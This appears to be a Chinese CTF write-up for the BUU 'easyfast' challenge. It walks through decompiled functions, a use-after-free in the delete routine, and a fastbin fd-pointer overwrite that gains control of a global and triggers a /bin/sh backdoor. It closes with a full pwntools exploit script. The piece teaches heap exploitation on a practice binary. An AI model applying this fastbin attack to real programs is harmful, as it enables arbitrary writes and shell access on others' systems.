buu easyfast —— fastbin attack 基础

buu easyfast —— fastbin attack 基础

引入

面对恐惧,开始啃堆,柿子挑软的捏

初分析

题目默认环境Ubuntu16.04,该系统默认使用libc2.23,建议使用docker环境

checksec

在这里插入图片描述

伪代码
  • add
unsigned __int64 add_400916()
{
  int v0; // eax
  int v1; // ebx
  char s[24]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( dword_6020BC <= 3 )
  {
    puts("size>");
    fgets(s, 8, stdin);
    v0 = atoi(s);
    if ( v0 && (unsigned __int64)v0 <= 0x78 )
    {
      v1 = dword_6020BC++;
      *(&buf + v1) = malloc(v0);
    }
    else
    {
      puts("No need");
    }
  }
  else
  {
    puts("No need");
  }
  return __readfsqword(0x28u) ^ v4;
}

add中没有什么特殊的点

  • del
unsigned __int64 del_4009D7()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index>");
  fgets(s, 8, stdin);
  v1 = atoi(s);
  free(*(&buf + v1));
  return __readfsqword(0x28u) ^ v3;
}

del函数中,free后指针未置空,出现指针悬挂漏洞,可以UAF

  • edit
unsigned __int64 sub_400A4D()
{
  __int64 v1; // [rsp+8h] [rbp-28h]
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index>");
  fgets(s, 8, stdin);
  v1 = atoi(s);
  read(0, *(&buf + v1), 8uLL);
  return __readfsqword(0x28u) ^ v3;
}

edit没有特殊检测,限制edit长度8

  • backdoor
int backdoor_400896()
{
  int result; // eax

  if ( qword_602090 )
    result = puts("Not yet");
  else
    result = system("/bin/sh");
  return result;
}

自带后门函数,只要把qword_602090置0,就可以直接get shell,典型Arbitrary Alloc

思路

​ 总体思路是:通过uaf更改堆块中的fd指针为目标地址,然后利用malloc与fast bin的机制获取目标地址的控制权,最后调用后门函数。

​ 由于fastbin的机制,我们先申请两个大小在fastbin范围内的chunk,此时malloc函数会找到大小合适的chunk返回。之所以申请两个chunk,是为了在后续free chunk0的时候,用chunk1把chunk0与top chunk分隔开,这样才能使chunk0顺利进入fast bin。此时堆区chunk如图。
在这里插入图片描述

​ 随后free chunk0,然后利用未置空的指针0编辑chunk0的fd位,为的是在fast bin链表的尾部加入我们伪造的fake chunk。堆区chunk分布如下 (两张截图不是同一次运行的截图,故基地址有区别)

在这里插入图片描述在这里插入图片描述

​ 由于malloc函数的机制是:当需要分配的空间大小在fast bin大小范围内时,先到fast bin中寻找有无对应大小的chunk,于是如果在修改chunk0的fd位后,连续进行两次malloc,malloc就会误把0x602080这个地址当作之前释放的chunk的首地址,返回给用户。这个时候我们就获得了该地址的控制权。

​ 但我们需要更改的数据在0x602090,为什么要在0x602080构造fake chunk呢,因为chunk的用户数据位置也就是用户实际能更改的位置是chunk指针+0x10的位置,这一特点是由chunk的结构决定的,chunk结构见下图

在这里插入图片描述

最后更改指定数据,成功调用backdoor

在这里插入图片描述

exp

from pwn import *

p=process('./easyfast')
# p = process(["/glibc/2.23/64/lib/ld-2.23.so", "./easyfast"], env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc-2.23.so:"})
# p = process( "./easyfast", env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc-2.23.so:"})
#p=remote("node4.buuoj.cn",25597)
context.log_level="debug"

def add(size):
	p.recvuntil('choice>')
	p.sendline('1')
	p.recvuntil('size>')
	p.sendline(str(size))
	

def delete(index):
	p.recvuntil('choice>')
	p.sendline('2')
	p.recvuntil('index>')
	p.sendline(str(index))

def edit(idx,content):
	p.sendlineafter('choice>','3')
	p.sendlineafter('index>',str(idx))
	p.send(content)

def backdoor():
	p.sendlineafter('choice>','4')

add(0x40)  # chunk 0
add(0x40)  # chunk 1
delete(0)

edit(0,p64(0x602080))
#pause()
add(0x40)  # chunk 0

add(0x40)#3
edit(3,p64(0))
#pause()
backdoor()
p.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值